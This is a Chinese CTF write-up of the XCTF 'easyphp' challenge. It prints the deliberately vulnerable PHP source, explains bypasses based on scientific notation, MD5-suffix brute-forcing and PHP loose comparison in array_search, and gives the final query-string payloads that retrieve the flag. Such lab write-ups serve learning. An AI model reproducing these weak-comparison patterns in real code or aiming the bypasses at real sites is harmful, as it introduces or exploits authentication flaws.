php特性(easyphp 攻防世界)
2022_11_12
知识点
科学计数法绕过
MD5碰撞
绕过is_numeric函数
绕过is_array函数
绕过array_search函数
代码分析
<?php
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
$a = $_GET['a'];
$b = $_GET['b'];
// intval() 函数用于获取变量的整数值。
// substr() 函数返回字符串的一部分。 substr(string,start,length)
// 如果 start 参数是负数- 在从字符串结尾开始的指定位置开始
if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){
// a=1e9 科学计数法
// b=53724
if(isset($b) && '8b184b' === substr(md5($b),-6,6)){
$key1 = 1;
}else{
die("Emmm...再想想");
}
}else{
die("Emmm...");
}
// json_decode(): 对 JSON 格式的字符串进行解码,转换为 PHP 变量
// {"a":1,"b":2,"c":3,"d":4,"e":5} c的形式
$c=(array)json_decode(@$_GET['c']);
// is_numeric() 函数用于检测变量是否为数字或数字字符串。
// 如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE,注意浮点型返回 1,即 TRUE。
//"m": 2023a,"n":
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){
// count() 函数返回数组中元素的数目。
// array_search() 函数在数组中搜索某个键值,并返回对应的键名。 array_search(value,array,strict)
// "n": [[0],0]
if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){
$d = array_search("DGGJ", $c["n"]);
$d === false?die("no..."):NULL;
foreach($c["n"] as $key=>$val){
$val==="DGGJ"?die("no......"):NULL;
}
$key2 = 1;
}else{
die("no hack");
}
}else{
die("no");
}
if($key1 && $key2){
include "Hgfks.php";
echo "You're right"."\n";
echo $flag;
}
?>
重点
-
php的弱比较:原理:PHP语言中在涉及“==”判断时,如果运算符两边分别为字符串(不以数字开头的字符串),会将字符串转化为数字0,再进行比较。如果是以数字开头的字符串,那么它将会转化成开头的数字(即第一个字母前的所有数字)。
-
array_search 的绕过,相当于弱比较,直接赋值为 0,即可绕过。
-
MD5爆破
# python import hashlib def get_md5(password): #1- 实例化加密对象 md5 = hashlib.md5() #2- 进行加密操作 md5.update(password.encode('utf-8')) #3- 返回加密后的结果 return md5.hexdigest() for i in range(1,100000): md51=get_md5(str(i)) if md51[-6:]=='8b184b': print(i)
// php <?php for($i = 1;$i <= 100000;$i++){ if('8b184b' === substr(md5($i),-6,6)){ echo $i."<br>".md5($i); } } ?>
payload
?a=1e9&b=53724&c={"m":"2023a","n":[[0],0]}
?a=1e9&b=53724&c={"m":"2023a","n":[[0,1],0]}
a和c的值不固定
c中n数组的第一个可以只有一个值,也可以有多个值
参考文章
攻防世界web新手-easyphp_sean7777777的博客-CSDN博客